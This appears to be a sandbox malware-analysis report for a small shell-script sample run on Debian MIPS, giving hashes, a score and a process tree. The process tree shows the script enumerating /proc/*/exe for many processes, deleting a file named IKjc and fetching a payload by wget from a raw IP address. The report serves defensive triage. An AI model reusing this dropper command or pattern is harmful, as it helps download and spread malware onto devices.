0ffb79f36daa86e4b5ada078827f93024feb24cce891a1dfc6092ceaab990737

Analysis

max time kernel
141s
max time network
143s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
21/06/2026, 03:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_0ffb79f36daa86e4b5ada078827f93024feb24cce891a1dfc6092ceaab990737.sh
Size 839B
Sample260621-ehrlrabs7n
SHA256 0ffb79f36daa86e4b5ada078827f93024feb24cce891a1dfc6092ceaab990737
MD5 35327a0d41b9f2ae23822d4e757fb0c4
SHA1 a323f42407b92713d2ca3e364b54852509faf56b
SHA512 2ab6342336102ce58108f0d3acd7c73ff321d49215bbc787fea34a342c60081d82633e49feba9752169646b1939a7db8b90fac017a4dd27531eabe7cb80356a1
TLSH
T1BE01AFDA8610A9100059A65E22975590B861C3CF059B0F787FAC0E3EFB98410B166F9D
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/_0ffb79f36daa86e4b5ada078827f93024feb24cce891a1dfc6092ceaab990737.sh
/tmp/_0ffb79f36daa86e4b5ada078827f93024feb24cce891a1dfc6092ceaab990737.sh
1⤵
PID:716
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/118/exe
  2⤵
  - Reads runtime system information
  PID:734
- /bin/ls
  ls -l /proc/119/exe
  2⤵
  - Reads runtime system information
  PID:737
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:740
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:742
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:744
- /bin/ls
  ls -l /proc/143/exe
  2⤵
  - Reads runtime system information
  PID:746
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:747
- /bin/ls
  ls -l /proc/151/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:751
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:756
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:757
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:758
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:759
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:761
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:762
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:763
- /bin/ls
  ls -l /proc/238/exe
  2⤵
  - Reads runtime system information
  PID:764
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:765
- /bin/ls
  ls -l /proc/246/exe
  2⤵
  - Reads runtime system information
  PID:766
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:767
- /bin/ls
  ls -l /proc/335/exe
  2⤵
  - Reads runtime system information
  PID:768
- /bin/ls
  ls -l /proc/336/exe
  2⤵
  - Reads runtime system information
  PID:769
- /bin/ls
  ls -l /proc/338/exe
  2⤵
  - Reads runtime system information
  PID:770
- /bin/ls
  ls -l /proc/341/exe
  2⤵
  - Reads runtime system information
  PID:771
- /bin/ls
  ls -l /proc/343/exe
  2⤵
  - Reads runtime system information
  PID:772
- /bin/ls
  ls -l /proc/345/exe
  2⤵
  - Reads runtime system information
  PID:773
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  - Reads runtime system information
  PID:774
- /bin/ls
  ls -l /proc/37/exe
  2⤵
  - Reads runtime system information
  PID:775
- /bin/ls
  ls -l /proc/385/exe
  2⤵
  - Reads runtime system information
  PID:776
- /bin/ls
  ls -l /proc/386/exe
  2⤵
  - Reads runtime system information
  PID:777
- /bin/ls
  ls -l /proc/389/exe
  2⤵
  - Reads runtime system information
  PID:778
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:779
- /bin/ls
  ls -l /proc/434/exe
  2⤵
  - Reads runtime system information
  PID:780
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:781
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:782
- /bin/ls
  ls -l /proc/664/exe
  2⤵
  - Reads runtime system information
  PID:783
- /bin/ls
  ls -l /proc/680/exe
  2⤵
  - Reads runtime system information
  PID:784
- /bin/ls
  ls -l /proc/681/exe
  2⤵
  - Reads runtime system information
  PID:785
- /bin/ls
  ls -l /proc/685/exe
  2⤵
  - Reads runtime system information
  PID:786
- /bin/ls
  ls -l /proc/686/exe
  2⤵
  PID:787
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:788
- /bin/ls
  ls -l /proc/70/exe
  2⤵
  - Reads runtime system information
  PID:789
- /bin/ls
  ls -l /proc/706/exe
  2⤵
  - Reads runtime system information
  PID:790
- /bin/ls
  ls -l /proc/707/exe
  2⤵
  - Reads runtime system information
  PID:791
- /bin/ls
  ls -l /proc/71/exe
  2⤵
  - Reads runtime system information
  PID:792
- /bin/ls
  ls -l /proc/712/exe
  2⤵
  - Reads runtime system information
  PID:793
- /bin/ls
  ls -l /proc/713/exe
  2⤵
  - Reads runtime system information
  PID:794
- /bin/ls
  ls -l /proc/714/exe
  2⤵
  - Reads runtime system information
  PID:795
- /bin/ls
  ls -l /proc/716/exe
  2⤵
  - Reads runtime system information
  PID:796
- /bin/ls
  ls -l /proc/717/exe
  2⤵
  - Reads runtime system information
  PID:797
- /bin/ls
  ls -l /proc/72/exe
  2⤵
  - Reads runtime system information
  PID:798
- /bin/ls
  ls -l /proc/73/exe
  2⤵
  - Reads runtime system information
  PID:799
- /bin/ls
  ls -l /proc/74/exe
  2⤵
  - Reads runtime system information
  PID:800
- /bin/ls
  ls -l /proc/75/exe
  2⤵
  - Reads runtime system information
  PID:801
- /bin/ls
  ls -l /proc/76/exe
  2⤵
  - Reads runtime system information
  PID:802
- /bin/ls
  ls -l /proc/77/exe
  2⤵
  - Reads runtime system information
  PID:803
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  - Reads runtime system information
  PID:804
- /bin/ls
  ls -l /proc/79/exe
  2⤵
  - Reads runtime system information
  PID:805
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:806
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  - Reads runtime system information
  PID:807
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:808
- /bin/rm
  rm -rf IKjc
  2⤵
  PID:809
- /usr/bin/wget
  wget http://129.121.114.124/IKjc
  2⤵
  PID:810

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads